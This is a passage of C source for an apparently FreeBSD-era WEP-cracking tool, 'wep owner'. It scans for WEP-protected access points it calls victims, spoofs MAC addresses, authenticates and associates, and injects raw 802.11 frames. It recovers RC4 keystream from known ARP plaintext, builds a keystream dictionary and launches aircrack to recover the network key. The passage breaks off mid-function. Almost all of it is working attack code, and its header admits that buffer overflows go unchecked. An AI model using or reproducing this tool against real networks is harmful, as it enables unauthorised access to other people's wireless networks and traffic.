1/*
2 * wep owner by sorbo <sorbox@yahoo.com>
3 * Aug 2005
4 *
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows.  this whole thing is experimental n e way.
7 *
8 * $FreeBSD$
9 */
10
11#include <sys/types.h>
12#include <sys/socket.h>
13#include <sys/ioctl.h>
14#include <sys/endian.h>
15#include <sys/stat.h>
16#include <sys/wait.h>
17#include <sys/uio.h>
18#include <net/if.h>
19#include <net/if_media.h>
20#include <net/if_llc.h>
21#include <net/if_arp.h>
22#include <net/if_types.h>
23#include <net/if_dl.h>
24#include <net/bpf.h>
25#include <net/ethernet.h>
26#include <net80211/ieee80211.h>
27#include <net80211/ieee80211_ioctl.h>
28#include <net80211/ieee80211_radiotap.h>
29#include <net80211/ieee80211_freebsd.h>
30#include <netinet/in.h>
31#include <netinet/in_systm.h>
32#include <netinet/ip.h>
33#include <netinet/udp.h>
34#include <arpa/inet.h>
35#include <stdlib.h>
36#include <stdio.h>
37#include <unistd.h>
38#include <string.h>
39#include <fcntl.h>
40#include <errno.h>
41#include <assert.h>
42#include <zlib.h>
43#include <signal.h>
44#include <stdarg.h>
45#include <err.h>
46#include <pcap.h>
47
48#include "aircrack-ptw-lib.h"
49
50#define FIND_VICTIM		0
51#define FOUND_VICTIM		1
52#define SENDING_AUTH		2
53#define GOT_AUTH		3
54#define SPOOF_MAC		4
55#define SENDING_ASSOC		5
56#define GOT_ASSOC		6
57
58int state = 0;
59
60struct timeval arpsend;
61
62struct tx_state {
63	int waiting_ack;
64	struct timeval tsent;
65	int retries;
66	unsigned int psent;
67} txstate;
68
69struct chan_info {
70	int s;
71	struct ieee80211req ireq;
72	int chan;
73} chaninfo;
74
75struct victim_info {
76	char* ssid;
77	int chan;
78	char bss[6];
79} victim;
80
81struct frag_state {
82	struct ieee80211_frame wh;
83	unsigned char* data;
84	int len;
85	unsigned char* ptr;
86	int waiting_relay;
87	struct timeval last;
88} fragstate;
89
90struct prga_info {
91	unsigned char* prga;
92	unsigned int len;
93	unsigned char iv[3];
94} prgainfo;
95
96struct decrypt_state {
97	unsigned char* cipher;
98	int clen;
99	struct prga_info prgainfo;
100	struct frag_state fragstate;
101} decryptstate;
102
103struct wep_log {
104	unsigned int packets;
105	unsigned int rate;
106	int fd;
107	unsigned char iv[3];
108} weplog;
109
110#define LINKTYPE_IEEE802_11     105
111#define TCPDUMP_MAGIC           0xA1B2C3D4
112
113unsigned char* floodip = 0;
114unsigned short floodport = 6969;
115unsigned short floodsport = 53;
116
117unsigned char* netip = 0;
118int netip_arg = 0;
119int max_chan = 11;
120
121unsigned char* rtrmac = 0;
122
123unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124unsigned char myip[16] = "192.168.0.123";
125
126int bits = 0;
127int ttl_val = 0;
128
129PTW_attackstate *ptw;
130
131unsigned char *victim_mac = 0;
132
133int ack_timeout = 100*1000;
134
135#define ARPLEN (8+ 8 + 20)
136unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141
142#define MCAST_PREF "\x01\x00\x5e\x00\x00"
143
144#define WEP_FILE "wep.cap"
145#define KEY_FILE "key.log"
146#define PRGA_FILE "prga.log"
147
148unsigned int min_prga =  128;
149
150/*
151 * When starting aircrack we try first to use a
152 * local copy, falling back to where the installed
153 * version is expected.
154 * XXX builtin pathnames
155 */
156#define CRACK_LOCAL_CMD "../aircrack/aircrack"
157#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158
159#define INCR 10000
160int thresh_incr = INCR;
161
162#define MAGIC_TTL_PAD 69
163
164int crack_dur = 60;
165int wep_thresh = INCR;
166int crack_pid = 0;
167struct timeval crack_start;
168struct timeval real_start;
169
170/* linksys does this.  The hardware pads small packets. */
171#define PADDED_ARPLEN 54
172
173#define PRGA_LEN (1500-14-20-8)
174unsigned char inet_clear[8+20+8+PRGA_LEN+4];
175
176#define DICT_PATH "dict"
177#define TAP_DEV "/dev/tap3"
178unsigned char tapdev[16];
179unsigned char taptx[4096];
180unsigned int taptx_len = 0;
181int tapfd = -1;
182
183/********** RIPPED
184************/
185unsigned short in_cksum (unsigned short *ptr, int nbytes) {
186  register long sum;
187  u_short oddbyte;
188  register u_short answer;
189
190  sum = 0;
191  while (nbytes > 1)
192    {
193      sum += *ptr++;
194      nbytes -= 2;
195    }
196
197  if (nbytes == 1)
198    {
199      oddbyte = 0;
200      *((u_char *) & oddbyte) = *(u_char *) ptr;
201      sum += oddbyte;
202    }
203
204  sum = (sum >> 16) + (sum & 0xffff);
205  sum += (sum >> 16);
206  answer = ~sum;
207  return (answer);
208}
209/**************
210************/
211
212unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213                          struct in_addr *dip) {
214        unsigned char *tmp;
215        struct ippseudo *ph;
216
217        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218        if(!tmp)
219		err(1, "malloc()");
220
221        ph = (struct ippseudo*) tmp;
222
223        memcpy(&ph->ippseudo_src, sip, 4);
224        memcpy(&ph->ippseudo_dst, dip, 4);
225        ph->ippseudo_pad =  0;
226        ph->ippseudo_p = IPPROTO_UDP;
227        ph->ippseudo_len = htons(len);
228
229        memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230
231        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232}
233
234void time_print(char* fmt, ...) {
235        va_list ap;
236        char lame[1024];
237	time_t tt;
238	struct tm *t;
239
240        va_start(ap, fmt);
241        vsnprintf(lame, sizeof(lame), fmt, ap);
242        va_end(ap);
243
244	tt = time(NULL);
245
246	if (tt == (time_t)-1) {
247		perror("time()");
248		exit(1);
249	}
250
251	t = localtime(&tt);
252	if (!t) {
253		perror("localtime()");
254		exit(1);
255	}
256
257	printf("[%.2d:%.2d:%.2d] %s",
258	       t->tm_hour, t->tm_min, t->tm_sec, lame);
259}
260
261void check_key() {
262	char buf[1024];
263	int fd;
264	int rd;
265	struct timeval now;
266
267	fd = open(KEY_FILE, O_RDONLY);
268
269	if (fd == -1) {
270		return;
271	}
272
273	rd = read(fd, buf, sizeof(buf) -1);
274	if (rd == -1) {
275		perror("read()");
276		exit(1);
277	}
278
279	buf[rd] = 0;
280
281	close(fd);
282
283	printf ("\n\n");
284	time_print("KEY=(%s)\n", buf);
285
286	if (gettimeofday(&now, NULL) == -1) {
287		perror("gettimeofday()");
288		exit(1);
289	}
290
291	printf ("Owned in %.02f minutes\n",
292		((double) now.tv_sec - real_start.tv_sec)/60.0);
293	exit(0);
294}
295
296void kill_crack() {
297	if (crack_pid == 0)
298		return;
299
300	printf("\n");
301	time_print("Stopping crack PID=%d\n", crack_pid);
302
303	// XXX doesn't return -1 for some reason! [maybe on my box... so it
304	// might be buggy on other boxes...]
305	if (kill(crack_pid, SIGINT) == -1) {
306		perror("kill()");
307		exit(1);
308	}
309
310	crack_pid = 0;
311
312	check_key();
313}
314
315void cleanup(int x) {
316	time_print("\nDying...\n");
317
318	if (weplog.fd)
319		close(weplog.fd);
320
321	kill_crack();
322
323	exit(0);
324}
325
326void set_chan(int c) {
327	if (c == chaninfo.chan)
328		return;
329
330	chaninfo.ireq.i_val = c;
331
332	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333		perror("ioctl(SIOCS80211) [chan]");
334		exit(1);
335	}
336	chaninfo.chan = c;
337}
338
339void set_if_mac(unsigned char* mac, unsigned char *name) {
340	int s;
341	struct ifreq ifr;
342
343	s = socket(PF_INET, SOCK_DGRAM, 0);
344	if (s == -1) {
345		perror("socket()");
346		exit(1);
347	}
348
349	memset(&ifr, 0, sizeof(ifr));
350	strcpy(ifr.ifr_name, name);
351
352	ifr.ifr_addr.sa_family = AF_LINK;
353	ifr.ifr_addr.sa_len = 6;
354	memcpy(ifr.ifr_addr.sa_data, mac, 6);
355
356	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357		perror("ioctl(SIOCSIFLLADDR)");
358		exit(1);
359	}
360
361	close(s);
362}
363
364void setup_if(char *dev) {
365	int s;
366	struct ifreq ifr;
367	unsigned int flags;
368	struct ifmediareq ifmr;
369	int *mwords;
370
371	if(strlen(dev) >= IFNAMSIZ) {
372		time_print("Interface name too long...\n");
373		exit(1);
374	}
375
376	time_print("Setting up %s... ", dev);
377	fflush(stdout);
378
379	set_if_mac(mymac, dev);
380
381	s = socket(PF_INET, SOCK_DGRAM, 0);
382	if (s == -1) {
383		perror("socket()");
384		exit(1);
385	}
386
387	// set chan
388	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
389	strcpy(chaninfo.ireq.i_name, dev);
390	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
391
392	chaninfo.chan = 0;
393	chaninfo.s = s;
394	set_chan(1);
395
396	// set iface up and promisc
397	memset(&ifr, 0, sizeof(ifr));
398	strcpy(ifr.ifr_name, dev);
399	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
400		perror("ioctl(SIOCGIFFLAGS)");
401		exit(1);
402	}
403
404	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
405	flags |= IFF_UP | IFF_PPROMISC;
406
407	memset(&ifr, 0, sizeof(ifr));
408	strcpy(ifr.ifr_name, dev);
409	ifr.ifr_flags = flags & 0xffff;
410	ifr.ifr_flagshigh = flags >> 16;
411	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
412		perror("ioctl(SIOCSIFFLAGS)");
413		exit(1);
414	}
415
416	printf("done\n");
417}
418
419int open_bpf(char *dev, int dlt) {
420        int i;
421        char buf[64];
422        int fd = -1;
423        struct ifreq ifr;
424
425        for(i = 0;i < 16; i++) {
426                sprintf(buf, "/dev/bpf%d", i);
427
428                fd = open(buf, O_RDWR);
429                if(fd < 0) {
430                        if(errno != EBUSY) {
431                                perror("can't open /dev/bpf");
432                                exit(1);
433                        }
434                        continue;
435                }
436                else
437                        break;
438        }
439
440        if(fd < 0) {
441                perror("can't open /dev/bpf");
442                exit(1);
443        }
444
445        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
446        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
447
448        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
449                perror("ioctl(BIOCSETIF)");
450                exit(1);
451        }
452
453        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
454                perror("ioctl(BIOCSDLT)");
455                exit(1);
456        }
457
458        i = 1;
459        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
460                perror("ioctl(BIOCIMMEDIATE)");
461                exit(1);
462        }
463
464        return fd;
465}
466
467void hexdump(unsigned char *ptr, int len) {
468        while(len > 0) {
469                printf("%.2X ", *ptr);
470                ptr++; len--;
471        }
472        printf("\n");
473}
474
475char* mac2str(unsigned char* mac) {
476	static char ret[6*3];
477
478	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
479		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
480
481	return ret;
482}
483
484void inject(int fd, void *buf, int len)
485{
486	static struct ieee80211_bpf_params params = {
487		.ibp_vers = IEEE80211_BPF_VERSION,
488		/* NB: no need to pass series 2-4 rate+try */
489		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
490		.ibp_rate0 = 2,		/* 1 MB/s XXX */
491		.ibp_try0 = 1,		/* no retransmits */
492		.ibp_flags = IEEE80211_BPF_NOACK,
493		.ibp_power = 100,	/* nominal max */
494		.ibp_pri = WME_AC_VO,	/* high priority */
495	};
496	struct iovec iov[2];
497	int rc;
498
499	iov[0].iov_base = &params;
500	iov[0].iov_len = params.ibp_len;
501	iov[1].iov_base = buf;
502	iov[1].iov_len = len;
503	rc = writev(fd, iov, 2);
504	if(rc == -1) {
505		perror("writev()");
506		exit(1);
507	}
508	if (rc != (len + iov[0].iov_len)) {
509		time_print("Error Wrote %d out of %d\n", rc,
510			   len+iov[0].iov_len);
511		exit(1);
512	}
513}
514
515void send_frame(int tx, unsigned char* buf, int len) {
516	static unsigned char* lame = 0;
517	static int lamelen = 0;
518	static int lastlen = 0;
519
520	// retransmit!
521	if (len == -1) {
522		txstate.retries++;
523
524		if (txstate.retries > 10) {
525			time_print("ERROR Max retransmists for (%d bytes):\n",
526			       lastlen);
527			hexdump(&lame[0], lastlen);
528//			exit(1);
529		}
530		len = lastlen;
531//		printf("Warning doing a retransmit...\n");
532	}
533	// normal tx
534	else {
535		assert(!txstate.waiting_ack);
536
537		if (len > lamelen) {
538			if (lame)
539				free(lame);
540
541			lame = (unsigned char*) malloc(len);
542			if(!lame) {
543				perror("malloc()");
544				exit(1);
545			}
546
547			lamelen = len;
548		}
549
550		memcpy(lame, buf, len);
551		txstate.retries = 0;
552		lastlen = len;
553	}
554
555	inject(tx, lame, len);
556
557	txstate.waiting_ack = 1;
558	txstate.psent++;
559	if (gettimeofday(&txstate.tsent, NULL) == -1) {
560		perror("gettimeofday()");
561		exit(1);
562	}
563
564#if 0
565	printf("Wrote frame at %lu.%lu\n",
566	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
567#endif
568}
569
570unsigned short fnseq(unsigned short fn, unsigned short seq) {
571        unsigned short r = 0;
572
573        if(fn > 15) {
574                time_print("too many fragments (%d)\n", fn);
575                exit(1);
576        }
577
578        r = fn;
579
580        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
581
582        return r;
583}
584
585void fill_basic(struct ieee80211_frame* wh) {
586	unsigned short* sp;
587
588	memcpy(wh->i_addr1, victim.bss, 6);
589	memcpy(wh->i_addr2, mymac, 6);
590	memcpy(wh->i_addr3, victim.bss, 6);
591
592
593
594	sp = (unsigned short*) wh->i_seq;
595	*sp = fnseq(0, txstate.psent);
596
597	sp = (unsigned short*) wh->i_dur;
598	*sp = htole16(32767);
599}
600
601void send_assoc(int tx) {
602	unsigned char buf[128];
603	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
604	unsigned char* body;
605	int ssidlen;
606
607	memset(buf, 0, sizeof(buf));
608	fill_basic(wh);
609	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
610
611	body = (unsigned char*) wh + sizeof(*wh);
612	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
613	// cap + interval
614	body += 2 + 2;
615
616	// ssid
617	*body++ = 0;
618	ssidlen = strlen(victim.ssid);
619	*body++ = ssidlen;
620	memcpy(body, victim.ssid, ssidlen);
621	body += ssidlen;
622
623	// rates
624	*body++ = 1;
625	*body++ = 4;
626	*body++ = 2;
627	*body++ = 4;
628	*body++ = 11;
629	*body++ = 22;
630
631	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
632			    strlen(victim.ssid) + 2 + 4);
633}
634
635void wepify(unsigned char* body, int dlen) {
636	uLong crc;
637	unsigned long *pcrc;
638	int i;
639
640	assert(dlen + 4 <= prgainfo.len);
641
642	// iv
643	memcpy(body, prgainfo.iv, 3);
644	body +=3;
645	*body++ = 0;
646
647	// crc
648	crc = crc32(0L, Z_NULL, 0);
649	crc = crc32(crc, body, dlen);
650	pcrc = (unsigned long*) (body+dlen);
651	*pcrc = crc;
652
653	for (i = 0; i < dlen +4; i++)
654		*body++ ^= prgainfo.prga[i];
655}
656
657void send_auth(int tx) {
658	unsigned char buf[128];
659	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
660	unsigned short* n;
661
662	memset(buf, 0, sizeof(buf));
663	fill_basic(wh);
664	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
665
666	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
667	n++;
668	*n = 1;
669
670	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
671}
672
673int get_victim_ssid(struct ieee80211_frame* wh, int len) {
674	unsigned char* ptr;
675	int x;
676	int gots = 0, gotc = 0;
677
678	if (len <= sizeof(*wh)) {
679		time_print("Warning: short packet in get_victim_ssid()\n");
680		return 0;
681	}
682
683	ptr = (unsigned char*)wh + sizeof(*wh);
684	len -= sizeof(*wh);
685
686	// only wep baby
687	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
688		return 0;
689	}
690
691	// we want a specific victim
692	if (victim_mac) {
693		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
694			return 0;
695	}
696
697	// beacon header
698	x = 8 + 2 + 2;
699	if (len <= x) {
700		time_print("Warning short.asdfasdf\n");
701		return 0;
702	}
703
704	ptr += x;
705	len -= x;
706
707	// SSID
708	while(len > 2) {
709		int eid, elen;
710
711		eid = *ptr;
712		ptr++;
713		elen = *ptr;
714		ptr++;
715		len -= 2;
716
717		if (len < elen) {
718			time_print("Warning short....\n");
719			return 0;
720		}
721
722		// ssid
723		if (eid == 0) {
724			if (victim.ssid)
725				free(victim.ssid);
726
727			victim.ssid = (char*) malloc(elen + 1);
728			if (!victim.ssid) {
729				perror("malloc()");
730				exit(1);
731			}
732
733			memcpy(victim.ssid, ptr, elen);
734			victim.ssid[elen] = 0;
735			gots = 1;
736
737		}
738		// chan
739		else if(eid == 3) {
740			if( elen != 1) {
741				time_print("Warning len of chan not 1\n");
742				return 0;
743			}
744
745			victim.chan = *ptr;
746			gotc = 1;
747		}
748
749		ptr += elen;
750		len -= elen;
751	}
752
753	if (gots && gotc) {
754		memcpy(victim.bss, wh->i_addr3, 6);
755		set_chan(victim.chan);
756		state = FOUND_VICTIM;
757		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
758		       victim.ssid, mac2str(victim.bss), victim.chan);
759		return 1;
760	}
761	return 0;
762}
763
764void send_ack(int tx) {
765	/* firmware acks */
766}
767
768void do_llc(unsigned char* buf, unsigned short type) {
769	struct llc* h = (struct llc*) buf;
770
771	memset(h, 0, sizeof(*h));
772	h->llc_dsap = LLC_SNAP_LSAP;
773	h->llc_ssap = LLC_SNAP_LSAP;
774	h->llc_un.type_snap.control = 3;
775	h->llc_un.type_snap.ether_type = htons(type);
776}
777
778void calculate_inet_clear() {
779	struct ip* ih;
780	struct udphdr* uh;
781	uLong crc;
782	unsigned long *pcrc;
783	int dlen;
784
785	memset(inet_clear, 0, sizeof(inet_clear));
786
787	do_llc(inet_clear, ETHERTYPE_IP);
788
789	ih = (struct ip*) &inet_clear[8];
790	ih->ip_hl = 5;
791	ih->ip_v = 4;
792	ih->ip_tos = 0;
793	ih->ip_len = htons(20+8+PRGA_LEN);
794	ih->ip_id = htons(666);
795	ih->ip_off = 0;
796	ih->ip_ttl = ttl_val;
797	ih->ip_p = IPPROTO_UDP;
798	ih->ip_sum = 0;
799	inet_aton(floodip, &ih->ip_src);
800	inet_aton(myip, &ih->ip_dst);
801	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
802
803	uh = (struct udphdr*) ((char*)ih + 20);
804	uh->uh_sport = htons(floodport);
805	uh->uh_dport = htons(floodsport);
806	uh->uh_ulen = htons(8+PRGA_LEN);
807	uh->uh_sum = 0;
808        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
809                                  &ih->ip_src, &ih->ip_dst);
810
811	// crc
812	dlen = 8 + 20 + 8 + PRGA_LEN;
813	assert (dlen + 4 <= sizeof(inet_clear));
814
815	crc = crc32(0L, Z_NULL, 0);
816	crc = crc32(crc, inet_clear, dlen);
817	pcrc = (unsigned long*) (inet_clear+dlen);
818	*pcrc = crc;
819
820#if 0
821	printf("INET %d\n", sizeof(inet_clear));
822	hexdump(inet_clear, sizeof(inet_clear));
823#endif
824}
825
826void set_prga(unsigned char* iv, unsigned char* cipher,
827	      unsigned char* clear, int len) {
828
829	int i;
830	int fd;
831
832	if (prgainfo.len != 0)
833		free(prgainfo.prga);
834
835	prgainfo.prga = (unsigned char*) malloc(len);
836	if (!prgainfo.prga) {
837		perror("malloc()");
838		exit(1);
839	}
840
841	prgainfo.len = len;
842	memcpy(prgainfo.iv, iv, 3);
843
844	for (i = 0; i < len; i++) {
845		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
846				 	        clear[i]);
847	}
848
849	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
850	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
851	hexdump(prgainfo.prga, prgainfo.len);
852
853	if (!cipher)
854		return;
855
856	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
857		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
858
859	if (fd == -1) {
860		perror("open()");
861		exit(1);
862	}
863
864	i = write(fd, prgainfo.iv, 3);
865	if (i == -1) {
866		perror("write()");
867		exit(1);
868	}
869	if (i != 3) {
870		printf("Wrote %d out of %d\n", i, 3);
871		exit(1);
872	}
873
874	i = write(fd, prgainfo.prga, prgainfo.len);
875	if (i == -1) {
876		perror("write()");
877		exit(1);
878	}
879	if (i != prgainfo.len) {
880		printf("Wrote %d out of %d\n", i, prgainfo.len);
881		exit(1);
882	}
883
884	close(fd);
885}
886
887
888void log_dictionary(unsigned char* body, int len) {
889	char paths[3][3];
890	int i, rd;
891	int fd;
892	unsigned char path[128];
893	unsigned char file_clear[sizeof(inet_clear)];
894	unsigned char* data;
895
896	len -= 4; // IV etc..
897	assert (len == sizeof(inet_clear));
898
899	data = body +4;
900
901	if (len > prgainfo.len)
902		set_prga(body, data, inet_clear, len);
903
904
905	for (i = 0; i < 3; i++)
906		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
907
908
909	strcpy(path, DICT_PATH);
910
911
912	// first 2 bytes
913	for (i = 0; i < 2; i++) {
914		strcat(path, "/");
915		strcat(path, paths[i]);
916		fd = open(path, O_RDONLY);
917		if (fd == -1) {
918			if (errno != ENOENT) {
919				perror("open()");
920				exit(1);
921			}
922
923			if (mkdir(path, 0755) == -1) {
924				perror("mkdir()");
925				exit(1);
926			}
927		}
928		else
929			close(fd);
930	}
931
932	// last byte
933	strcat(path, "/");
934	strcat(path, paths[2]);
935
936	fd = open(path, O_RDWR);
937	// already exists... see if we are consistent...
938	if (fd != -1) {
939		rd = read(fd, file_clear, sizeof(file_clear));
940
941		if (rd == -1) {
942			perror("read()");
943			exit(1);
944		}
945
946		// check consistency....
947		for (i = 0; i < rd; i++) {
948			if (file_clear[i] !=
949			    (data[i] ^ inet_clear[i])) {
950
951				printf("Mismatch in byte %d for:\n", i);
952				hexdump(body, len+4);
953				exit(1);
954			}
955		}
956
957		// no need to log
958		if (i >= sizeof(inet_clear)) {
959#if 0
960			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
961				body[0], body[1], body[2]);
962#endif
963			close(fd);
964			return;
965		}
966
967		// file has less... fd still open
968
969	} else {
970		fd = open(path, O_WRONLY | O_CREAT, 0644);
971		if (fd == -1) {
972			printf("Can't open (%s): %s\n", path,
973			       strerror(errno));
974			exit(1);
975		}
976	}
977
978	assert (sizeof(file_clear) >= sizeof(inet_clear));
979
980	for(i = 0; i < len; i++)
981		file_clear[i] = data[i] ^ inet_clear[i];
982
983	rd = write(fd, file_clear, len);
984	if (rd == -1) {
985		perror("write()");
986		exit(1);
987	}
988	if (rd != len) {
989		printf("Wrote %d of %d\n", rd, len);
990		exit(1);
991	}
992	close(fd);
993}
994
995void stuff_for_us(struct ieee80211_frame* wh, int len) {
996	int type,stype;
997	unsigned char* body;
998
999	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1000	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1001
1002	body = (unsigned char*) wh + sizeof(*wh);
1003
1004	// CTL
1005	if (type == IEEE80211_FC0_TYPE_CTL) {
1006		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1007			txstate.waiting_ack = 0;
1008			return;
1009		}
1010
1011		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1012			return;
1013		}
1014
1015		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1016			return;
1017		}
1018		time_print ("got CTL=%x\n", stype);
1019		return;
1020	}
1021
1022	// MGM
1023	if (type == IEEE80211_FC0_TYPE_MGT) {
1024		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1025			unsigned short* rc = (unsigned short*) body;
1026			printf("\n");
1027			time_print("Got deauth=%u\n", le16toh(*rc));
1028			state = FOUND_VICTIM;
1029			return;
1030			exit(1);
1031		}
1032		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1033			unsigned short* sc = (unsigned short*) body;
1034
1035			if (*sc != 0) {
1036				time_print("Warning got auth algo=%x\n", *sc);
1037				exit(1);
1038				return;
1039			}
1040			sc++;
1041
1042			if (*sc != 2) {
1043				time_print("Warning got auth seq=%x\n", *sc);
1044				return;
1045			}
1046
1047			sc++;
1048
1049			if (*sc == 1) {
1050				time_print("Auth rejected... trying to spoof mac.\n");
1051				state = SPOOF_MAC;
1052				return;
1053			}
1054			else if (*sc == 0) {
1055				time_print("Authenticated\n");
1056				state = GOT_AUTH;
1057				return;
1058			}
1059			else {
1060				time_print("Got auth %x\n", *sc);
1061				exit(1);
1062			}
1063		}
1064		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1065			unsigned short* sc = (unsigned short*) body;
1066			sc++; // cap
1067
1068			if (*sc == 0) {
1069				sc++;
1070				unsigned int aid = le16toh(*sc) & 0x3FFF;
1071				time_print("Associated (ID=%x)\n", aid);
1072				state = GOT_ASSOC;
1073				return;
1074		        } else if (*sc == 12) {
1075                                time_print("Assoc rejected..."
1076                                           " trying to spoof mac.\n");
1077                                state = SPOOF_MAC;
1078                                return;
1079			} else {
1080				time_print("got assoc %x\n", *sc);
1081				exit(1);
1082			}
1083		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1084			return;
1085		}
1086
1087		time_print("\nGOT MAN=%x\n", stype);
1088		exit(1);
1089	}
1090
1091	if (type == IEEE80211_FC0_TYPE_DATA &&
1092	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1093		int dlen;
1094		dlen = len - sizeof(*wh) - 4 -4;
1095
1096		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1097			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1098				   mac2str(wh->i_addr2), dlen, stype);
1099				   return;
1100		}
1101
1102		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1103
1104		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1105			rtrmac = (unsigned char *) malloc(6);
1106			if (!rtrmac) {
1107				perror("malloc()");
1108				exit(1);
1109			}
1110
1111			assert( rtrmac > (unsigned char*) 1);
1112
1113			memcpy (rtrmac, wh->i_addr3, 6);
1114			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1115
1116			return;
1117		}
1118#if 0
1119		// check if its a TTL update from dictionary stuff
1120		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1121		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1122			int ttl_delta, new_ttl;
1123
1124			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1125			new_ttl = 128 - ttl_delta;
1126
1127			if (ttl_val && new_ttl != ttl_val) {
1128				time_print("oops. ttl changed from %d to %d\n",
1129					   ttl_val, new_ttl);
1130				exit(1);
1131			}
1132
1133			if (!ttl_val) {
1134				ttl_val = new_ttl;
1135				printf("\n");
1136				time_print("Got TTL of %d\n", ttl_val);
1137				calculate_inet_clear();
1138			}
1139		}
1140
1141		// check if its dictionary data
1142		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1143			log_dictionary(body, len - sizeof(*wh));
1144		}
1145#endif
1146	}
1147
1148#if 0
1149	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1150		type, stype, mac2str(wh->i_addr2), len);
1151#endif
1152}
1153
1154void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1155	unsigned char* body;
1156	int bodylen;
1157	unsigned char clear[36];
1158	unsigned char* ptr;
1159	struct arphdr* h;
1160	int i;
1161
1162	body = (unsigned char*) wh+sizeof(*wh);
1163	ptr = clear;
1164
1165	// calculate clear-text
1166	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1167	ptr += sizeof(arp_clear) -1;
1168
1169	h = (struct arphdr*)ptr;
1170	h->ar_hrd = htons(ARPHRD_ETHER);
1171        h->ar_pro = htons(ETHERTYPE_IP);
1172        h->ar_hln = 6;
1173        h->ar_pln = 4;
1174        h->ar_op = htons(ARPOP_REQUEST);
1175	ptr += sizeof(*h);
1176
1177	memcpy(ptr, wh->i_addr3, 6);
1178
1179	bodylen = rd - sizeof(*wh) - 4 - 4;
1180	decryptstate.clen = bodylen;
1181	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1182	if (!decryptstate.cipher) {
1183		perror("malloc()");
1184		exit(1);
1185	}
1186	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1187	if (!decryptstate.prgainfo.prga) {
1188		perror("malloc()");
1189		exit(1);
1190	}
1191
1192
1193	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1194	memcpy(decryptstate.prgainfo.iv, body, 3);
1195
1196	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
